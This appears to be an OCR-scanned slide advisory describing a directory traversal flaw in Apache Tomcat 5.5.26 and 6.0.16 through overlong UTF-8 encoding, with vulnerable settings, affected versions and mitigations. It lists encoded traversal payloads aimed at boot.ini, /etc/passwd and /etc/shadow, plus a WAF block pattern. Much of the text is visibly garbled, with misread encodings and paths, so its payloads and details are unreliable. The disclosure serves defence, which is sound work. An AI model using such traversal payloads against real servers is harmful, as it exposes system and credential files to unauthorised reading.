Security Advisory

tomcat - unicode decoding
directory traversal vulnerability

OuTian <outian@mail.outian.net>



Apache Tomcat

> Famous Java Web Application Server
¢ http://tomecat.apache.org/

> Works on Most of OS

¢ Windows
¢ Linux

¢ FreeBSD
¢ Solaris

e ... Others.




Configuration

» <Connector>

¢ URIENcoding -

o Specifies the character encoding used to
decode the URI

o Default not set

» <Context>

¢ allowlLinking -

o Allow symbolic links Inside the web
application directory

e Default is false



Vulnerable Configuration

> URIEncoding = “UTF-8”
> allowLinking = “true”



000000\000000

UTF-8 Encoding

26 CO%0AE

20EO02%680%0AE
20F0206802080%AE
20F8%080206802%080%0AE
20FC2%8020802%0802%080%AE

206 CO%0AF

2EO0%80%0AF
26F026802%8020AF
20F82%80206802%802%0AF
20FC%80%0802%080%080%0AF



Example

> A../0.. .. /boot.Ini

¢ 20CO2%%0AE20CO02AE20CO20AF20CO020AE2CCO%0
AE20C0O020AF20C0O02%AE2CO2%0AE20CO20AF20CO
20 AE2CO2%%AE2%CO2%% AFboOt. NI

> . 1../1../7../etc/passwd

¢+ 20COY%AE20CO02%AE26CO20AF26CO02AE26CO%0
AE26C026AF26CO02%AE26CO26AE26CO20AF26CO
20 AE26CO%AE2CO2%%AFetc/passwd

> ... .. fetc/shadow

e 20CO2%AE2CO20AE2CO2AF20C0O02%%AECHCO%0
AE2OCO20AF26C0O020AE2CO20AE2CCO2%AF26CO
OO AE2CO2%AECHCO20AFetec/shadow
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Affected

> Platform -
¢ ALL

> Version -

¢ Tomcat 5.5.26(Latest) and before
¢ Tomcat 6.0.16(Latest) and before



To be safe ..

> Prevention

¢ unset URLENcoding
or
unset allowLinking

> Protection

¢ Block special character In security
devices such as WAF/ZIPS

+ (26C0|2680) (Y6AE|26AF)



